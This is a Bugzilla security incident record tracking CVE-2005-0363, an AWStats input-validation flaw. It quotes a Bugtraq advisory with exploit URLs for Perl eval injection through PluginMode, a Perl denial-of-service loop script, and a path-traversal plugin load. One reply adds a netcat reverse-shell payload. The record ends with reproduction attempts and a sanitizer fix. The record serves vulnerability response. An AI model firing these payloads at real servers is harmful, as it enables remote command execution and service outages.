|
Bugzilla – Full Text Bug Listing |
| Summary: | VUL-0: CVE-2005-0363: awstats: some more vulnerabilities | ||
|---|---|---|---|
| Product: | [Novell Products] SUSE Security Incidents | Reporter: | Thomas Biege <thomas> |
| Component: | Incidents | Assignee: | Harald Mueller-Ney <hmuelle> |
| Status: | RESOLVED FIXED | QA Contact: | Security Team bot <security-team> |
| Severity: | Major | ||
| Priority: | P3 - Medium | CC: | patch-request, security-team |
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | CVE-2005-0363: CVSS v2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) | ||
| Found By: | Other | Services Priority: | |
| Business Priority: | Blocker: | --- | |
| Marketing QA Status: | --- | IT Deployment: | --- |
|
Description
Thomas Biege
2005-02-14 16:51:44 UTC
<!-- SBZ_reproduce --> . AWStats <= 6.4 Multiple vulnerabilities Von: GHC@www.securityfocus.com, "[ru]@securityfocus.com@www.securityfocus.com" <foster@ghc.ru> An: bugtraq@securityfocus.com Datum: Gestern 09:10:40 /*==========================================*/ // GHC -> AWStats <- ADVISORY \\ PRODUCT: AWStats // VERSION: <= 6.3 \\ URL: http://awstats.sourceforge.net/ // VULNERABILITY CLASS: Multiple vulnerabilities \\ RISK: high /*==========================================*/ [Product Description] "AWStats is a free powerful tool that generates advanced web, ftp or mail server statistics, graphically. This log analyzer works as a CGI or from command line and shows you all possible information your log contains, in few graphical web pages". Current stable version: AWStats 6.3 final Development version is 6.4 - 2005-02-06 14:31 [Summary] Successful exploitation of an input validation vulnerability in AWStats scripts allows attackers to execute limited perl directives under the privileges of the web server, get sensetive information. Some actions of the attacker can lead to denial of service. [Details] Some AWStats's functions can be extended with plugins. Two variables (loadplugin & pluginmode) are dealing with it. The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); the second one runs plugin's functions. Exploitable example (raw log plugin): http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog Server answer: 192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606 192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/style.css HTTP/1.1" 200 2986 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 200 7710 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/logo.gif HTTP/1.1" 200 14443 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 200 429 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif HTTP/1.1" 200 2532 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250 192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/vcss.gif HTTP/1.1" 200 1547 192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi HTTP/1.1" 200 7333 192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi HTTP/1.1" 200 7588 192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi HTTP/1.1" 200 7910 192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 200 7340 192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml HTTP/1.1" 200 153 The dangerous fact is that attacker can read sensitive information such as IP address, admin scripts names, non encoded GET queries, etc. Our variables pass some verification (as others), but it is not enough for security: sub Sanitize { my $stringtoclean=shift; $stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g; return $stringtoclean; } Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol. It's enough for variables with path to configuration files, but not for plugin tasks. In case of "loadplugin" & "pluginmode" developers obviously have a lot of trust to the user. So, let's see what can be done, in fact. [1] Perl code execution. http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent we'll get the action in next piece of code: # AWStats output is replaced by a plugin output if ($PluginMode) { my $function="BuildFullHTMLOutput_$PluginMode()"; eval("$function"); if ($? || $@) { error("$@"); } &html_end(0); exit 0; } If variable exists, we'll get code execution. This happens after sanitizing (see privious). Here we have intresting part in: my $function="BuildFullHTMLOutput_$PluginMode()"; eval("$function"); This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from rawlog.pm plugin). Ideal case: "module name"::BuildFullHTMLOutput_"function name"(). But if we won't specify the name of module (with "loadplugin" parameter) we'll get the next: main::BuildFullHTMLOutput_"function name"(). By the way, there is permited symbol ':' in user input parameters. So, we can send: PluginMode=:print+getpwent And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. This will satisfy eval() requirements., and :print getpwent() is executed. http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent Sanitazing limits user's input, but there is no filtration for call sympols '()'. Here we can see that somebody can perform DoS attack. This is example of simple code for successful DoS exploitation: #!/usr/bin/perl use IO::Socket; $server = 'www.example.com'; sub ConnectServer { $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Error\n"; print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "\n\n"; } while () { $rp = rand; &ConnectServer; } [BUGFIX] Change vulnerable code for: sub PluginSanitize { my $stringtoclean=shift; $stringtoclean =~ s/[^\w]//g; return $stringtoclean; } [2] Arbitrary plugin including. http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib Arbitrary module from user's input through "loadplugin" parameter can be included with "require" function.. Bugfix - as above or something like this: opendir (PDIR, './plugins'); @FilesPDIR = readdir(PDIR); closedir (PDIR); foreach $FilesPName (@FilesPDIR) { if ($FilesPName =~ m/$loadplugin/) { } } The good thing is the poison null-byte (%00) has no place (transferes to 00). [3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4 (Development). Every user can access debug function: http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1 http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2 [DISCLOSURE TIMELINE] 10-02-2005 Initial vendor notification. 14-02-2005 No response. 14-02-2005 Bug-traq post. /* ================================================== */ /* www.ghc.ru -- security games & challenges */ /* ================================================== */ /* greets to: RST.void.ru, cr0n & all quest hunters %)*/ /* Special respect to e-defense. */ /* ================================================== */ Re: AWStats <= 6.4 Multiple vulnerabilities Von: Ondra Holecek <bln@deprese.net> An: GHC@www.securityfocus.com, "[ru]@securityfocus.com@www.securityfocus.com" <foster@ghc.ru> Kopie: bugtraq@securityfocus.com Datum: Gestern 16:24:41 Die Nachricht wurde signiert auf 01.01.1970 00:59 mit dem unbekannten Schlüssel 0x3D7C4EA9. Die Gültigkeit der Signatur kann nicht überprüft werden. GHC@www.securityfocus.com wrote: | | /*==========================================*/ | // GHC -> AWStats <- ADVISORY | \\ PRODUCT: AWStats | // VERSION: <= 6.3 | \\ URL: http://awstats.sourceforge.net/ | // VULNERABILITY CLASS: Multiple vulnerabilities | \\ RISK: high | /*==========================================*/ [...] | | PluginMode=:print+getpwent | | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. | This will satisfy eval() requirements., and :print getpwent() is executed. | | http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent | | Sanitazing limits user's input, but there is no filtration for call sympols '()'. no, user is not limited, he can execute ANY command if he add ; at the end of the command, try this awstats.pl?&PluginMode=:print+system('id')+; or even this awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+; Ondra Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Von: Jamie Pratt <jpratt@norwich.edu> (Norwich University) An: Ondra Holecek <bln@deprese.net> Kopie: bugtraq@securityfocus.com Datum: Gestern 20:25:43 So what are the conditions of this bug/vuln? I can't reproduce this on several 6.3 installs..: awstats 6.3 from source: request: http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+; output: **************** Error: Can't locate object method "BuildFullHTMLOutput_print" via package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1) line 1. Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or permissions) may be wrong. Check config file, permissions and AWStats documentation (in 'docs' directory). *************** regards, jamie Ondra Holecek wrote: > > > GHC@www.securityfocus.com wrote: > | > | /*==========================================*/ > | // GHC -> AWStats <- ADVISORY > | \\ PRODUCT: AWStats > | // VERSION: <= 6.3 > | \\ URL: http://awstats.sourceforge.net/ > | // VULNERABILITY CLASS: Multiple vulnerabilities > | \\ RISK: high > | /*==========================================*/ > > [...] > > | > | PluginMode=:print+getpwent > | > | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'. > | This will satisfy eval() requirements., and :print getpwent() is > executed. > | > | > http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent > > | > | Sanitazing limits user's input, but there is no filtration for call > sympols '()'. > > no, user is not limited, he can execute ANY command if he add ; at the > end of the command, try this > > awstats.pl?&PluginMode=:print+system('id')+; > > or even this > > awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+; > > > Ondra -- James Pratt Unix Systems Administrator Norwich University http://www.norwich.edu/it <jpratt@norwich.edu> | ph. (802)485-2532 Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3? Von: Ondra Holecek <bln@deprese.net> An: jpratt@norwich.edu Kopie: bugtraq@securityfocus.com Datum: Gestern 20:52:08 Die Nachricht wurde signiert auf 01.01.1970 00:59 mit dem unbekannten Schlüssel 0x3D7C4EA9. Die Gültigkeit der Signatur kann nicht überprüft werden. It seems this bug works only on my server, i dont know why /awstats.pl?&PluginMode=:print+system('id')+; reply: uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256 Error: Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or permissions) may be wrong. Check config file, permissions and AWStats documentation (in 'docs' directory). awstats: Advanced Web Statistics 6.1 (build 1.751) (original) perl: This is perl, v5.8.5 built for i586-linux os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown unknown GNU/Linux Ondra There are some more report about this bugs working and not. Please have a look at www.securityfocus.com and search the BUGTRAQ list for this topic. I will try to exploit our awstats - but can't give you an ETA yet. I am on vaction Thursday and Friday. PING It seems as it doen't work in our version 6.3. Even so I made it a bit more unsecure by enabling "update from browser". http://armstrong.suse.de/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+; Error: Can't locate object method "BuildFullHTMLOutput_print" via package "systemid" (perhaps you forgot to load "systemid"?) at (eval 4) line 1. Setup ('/etc/awstats/awstats.conf' file, web server or permissions) may be wrong. Check config file, permissions and AWStats documentation (in 'docs' directory). Please advice how to go on. this was fixed by our last update. + $stringtoclean =~ s/[^\w_\-\\\/\.\s]//g; filters out the : and ; ... it leaves some dangerous characters still, but I have not found a way to escape my way to execute something. considering fixed for now. CVE-2005-0363: CVSS v2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |